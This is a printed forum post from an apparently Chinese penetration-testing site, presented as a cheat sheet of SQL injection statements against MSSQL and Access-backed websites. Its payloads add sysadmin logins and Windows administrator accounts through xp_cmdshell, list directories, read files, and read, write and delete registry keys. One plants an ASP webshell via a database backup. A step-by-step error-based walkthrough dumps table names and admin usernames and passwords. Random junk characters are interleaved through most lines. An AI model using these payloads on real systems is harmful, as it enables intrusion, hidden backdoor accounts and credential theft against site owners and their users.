中国网络渗透测试联盟

标题: SQL注入常用语句 [打印本页]

作者: admin    时间: 2012-9-15 14:31
标题: SQL注入常用语句
1.判断是否有注入
5 }& ^' C4 @( E* m7 ^# R$ s;and 1=1 4 L8 ~& R+ V, g$ m  f+ @
;and 1=2
, W, ], n8 _" g' n6 _- m7 H- n7 Z. t2 S* i
2.初步判断是否是mssql
8 F* s7 d2 ]$ N+ B4 F* O;and user>0
3 S! q0 @1 j+ b# i( h
( @/ [6 a! e  ^" ^7 o5 X0 L+ E3.判断数据库系统 % n* x5 d3 ]  V& v/ Y% s
;and (select count(*) from sysobjects)>0 mssql # I  H, q; Z) _: k; M
;and (select count(*) from msysobjects)>0 access 8 n. _6 \& D* P6 S

7 B5 K+ g& h) s- u- L4 F4.注入参数是字符
  Q! g* f2 u: g3 M'and [查询条件] and ''=' , u' F7 i; Q) \7 X- B

; T. q3 Q  O1 h0 z# x  G# C5.搜索时没过滤参数的
8 K- @+ B; V4 h% h'and [查询条件] and '%25'='
" D8 I) j2 a5 U, o; x5 t2 a. v9 z. ?* A/ @( F3 m0 Z
6.猜数表名
, r7 L) \: o2 P+ v$ z0 V;and (select Count(*) from [表名])>0 3 U% e1 }- H$ R5 x) ]

( i9 ^, t" ?* E# D7 _  u/ v7.猜字段 7 r  v3 C- k, H. P0 P8 \( W
;and (select Count(字段名) from 表名)>0
$ m; V7 l" e% }; T+ _3 _, T* r' K( S! h' x9 E6 N% }
8.猜字段中记录长度 2 K' i4 K1 i, E6 a" @5 T
;and (select top 1 len(字段名) from 表名)>0 ( g+ i+ m3 v0 w2 n2 a" t7 ~3 n8 f
& L% B3 [$ g  W" ?" H+ E0 Y! m& }
9.(1)猜字段的ascii值(access)
; ?$ Z$ J1 M2 w$ S% {;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 7 F# \0 S  g; n) O1 |1 v+ v2 q

- x5 o- M( b; @; a9 F2 S(2)猜字段的ascii值(mssql)
, ~' @* A$ `7 Z) r5 |& \;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 0 Z0 f8 O4 |9 b/ k4 y0 s

  ^& T* @5 ~7 W8 k, b10.测试权限结构(mssql)
3 u/ X9 b7 I7 t0 r8 ^% j;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
, U- p) P: o# E;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $ A8 A) o5 z9 x8 z5 l2 ~. T( h" A
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; V6 {1 y3 J% [: s+ e2 |( I0 {/ Z
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
$ D+ t; c3 F3 T: |' W4 p;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
. d) p# Y2 [* I) B, b7 P;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- & [  h3 n0 Z+ U) o$ W4 Z) P! h
;and 1=(select IS_MEMBER('db_owner'));--
. R& T# l( Q# Y9 L9 N4 |
3 K7 I1 Q7 B+ ~& ~% L! f- u11.添加mssql和系统的帐户 5 u3 |6 W$ J6 p& f
;exec master.dbo.sp_addlogin username;--
8 K. ^6 |& R+ Q$ E- b* S2 X;exec master.dbo.sp_password null,username,password;-- : O$ `) X6 `. N- b9 k( r( s. \- W
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- & N& |1 V. M+ S3 V. v' M# p$ n- a' f2 a
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--   |! a* r: L' s4 I$ g" o" ~* N) ?
;exec master.dbo.xp_cmdshell 'net user username password /add';-- + {4 w, P  W, @2 ]" \
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ! Y# B! j2 o8 Y+ j
6 Z+ ~& J. A) [. m0 X* Z
12.(1)遍历目录
* \9 j: o3 K( q+ h! F1 n' Z" I* A;create table dirs(paths varchar(100), id int)
' s; @" ]/ }! N;insert dirs exec master.dbo.xp_dirtree 'c:\'
: ]. J. Z4 W6 g1 K;and (select top 1 paths from dirs)>0 " P& C! D3 {* s
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ' V3 u" g1 z& y: d9 L$ y+ T- u

2 c# l  p4 w, R  R0 K* ](2)遍历目录 ! K$ J! j: N1 V7 s) {
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
2 V$ J, L* m' P! {4 a. W/ v% W  k;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 % m) t  V4 U3 }, _
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
8 B3 I; g7 g' C/ d) L8 Z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
  f2 N5 N: z' C& {8 w: N/ r5 y, E;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
0 P+ s! u. H6 n1 x8 y3 E. Q
( B7 y& a$ @. E, o' d4 [13.mssql中的存储过程
9 k7 D, f% F0 z) a' n$ f+ Bxp_regenumvalues 注册表根键, 子键 : y8 E3 Y" |, n  ]0 q  [
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
/ y; T: W6 ^) X; Oxp_regread 根键,子键,键值名
6 m3 [- R( n( ^9 N' q0 G0 G;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 1 H7 g/ i7 q* x. Y; j% X/ q
xp_regwrite 根键,子键, 值名, 值类型, 值 4 X- f1 T: D- U9 }3 L
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 # t- s/ J0 }, L2 x7 d+ `% O4 B
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 ) Q$ I8 I5 r5 e! F; m# s& C5 s1 n) }
xp_regdeletevalue 根键,子键,值名
6 J! @8 Y( Z; A, L7 S6 cexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
2 ^3 @. W( E2 L8 p$ T( w( z3 @, `xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 7 h. a. V8 g: {  W

* Z6 i4 v* {+ ]* [14.mssql的backup创建webshell   Y7 S' d) N! r' H0 S' W, T
use model 4 W2 I0 ]2 t* k$ o7 _
create table cmd(str image); 9 h2 G6 z  Q- c7 h3 m, `
insert into cmd(str) values ('<% Dim oScript %>'); , ?9 [% d6 `  v1 F/ f/ H
backup database model to disk='c:\l.asp';
, {: [5 _% I% a  h% c7 l: E8 h1 n* B4 K5 H9 O' d
15.mssql内置函数
1 h- j0 k6 X0 B* Y. B- @;and (select @@version)>0 获得Windows的版本号 ) _3 r/ G  {2 h6 m
;and user_name()='dbo' 判断当前系统的连接用户是不是sa - O! L! j: P& |# e3 Y
;and (select user_name())>0 爆当前系统的连接用户 , n* c1 l; _  O7 d- _' h1 _
;and (select db_name())>0 得到当前连接的数据库 & {! {* K8 W! ?
, L# ]/ e6 C3 f7 E2 v

+ E- ~- ?( [0 A8 e0 M1 X
( `: G2 W  }: Z" m. Q* wMSSQL手注暴库
" T; B2 H3 Z/ v( d* {6 ^* s
+ P# \8 v9 q( L0 O% }2 P1.暴出当前表名和列名
- c" m6 P' L* {! d/ w/ S. K在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。0 C4 O9 `: ]7 t" J
0 @- |! O. Y' W6 h
第一.爆出所有数据库名
/ y+ M1 I6 g2 D/ o* s" L) e3 P利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。2 g2 L0 ~2 `/ y' O+ k
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
( Y8 U* m* q* e6 q( Q" J3 m
8 U& u, v; x$ g/ band 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])--  修改N从6开始爆出所有数据库名. K* _9 Y) L9 P# h3 v$ P5 C
, O  f4 k! c0 R
$ F2 A; I8 ~3 y" K' U  \
第二.爆出指定库中的所有表名
8 i3 w- M- K9 p* l1 g: W; E7 q得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
4 n: R8 a: B" T" d- h6 ^0 \8 [, [再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。" G! p8 I9 Y% U4 w3 G$ @2 X
: e; V/ b0 e3 D" \0 W
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
. K# l$ c5 g) r# @: `, nand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
; Q  s% i  Z3 R; T: ^* eand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--' f* t9 p# ?/ z% {- q' j
, }. ^$ |4 ^! }  K( j0 V9 H
4.爆出指定表中的所有列名$ f0 {! G; V' d' I$ q9 L1 E
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
. x% H4 b" _/ |, I7 B$ B//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421  name='表名'
- `4 x3 ~& n& r6 C) H2 C/ [
/ P  G4 F1 N+ }/ c2 |. zand 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)--  爆出admin表中的一个字段名
2 y/ t# y( {- u( b
0 j. J5 B. ~* S  ^: H, ?- i再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- % W$ m* N; H  p2 J  h5 `% N
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。' _1 C6 I$ |* j' y, X

" Z4 i) t% \9 z4 k/ W
; _% b2 X2 O7 cand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))--  爆出要爆字段的表名id值
, r- h* S/ M; H" q: K" n
3 Y% Y- g, W% aand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
1 X0 O, _0 |4 F
& |$ d& |6 e  G% I7 Y6 land 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- " h2 Q1 v  v4 l7 X: H( J
5 H) \, D9 F2 o- P
. n$ Q; i: {. l
' o$ N/ ]; [4 ^
5.读取指定表中的数据
" E- D7 ~; E0 s( B
( _& o2 M; \& s3 d& vand 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
: ~/ ~' k, w3 y; m5 _/ Z' C5 ~3 _! P
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--8 I% M4 f* m5 u

5 R" Q  Y& F% z5 L4 uand 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
- i  S; W# u# M! ?) j. b3 |) n
1 I. C0 ^$ }: X0 L
7 \) H9 V" V8 w) k* Hand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)--  爆出id<>1的管理员名字(fuhao)8 @) I/ K4 f1 x  I' {- @0 ^+ d
* W5 K; D$ \; L2 G% l
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
0 g6 a% [$ o, o, g; t* P6 B3 ]3 ^9 B& Z
and 0<(Select Top 1 A_UserID FROM admin where  A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--$ m# P( v. R% R' d1 d" W$ r- k
8 w4 }' v0 T8 L8 {
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
) O4 T) A0 {3 L




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2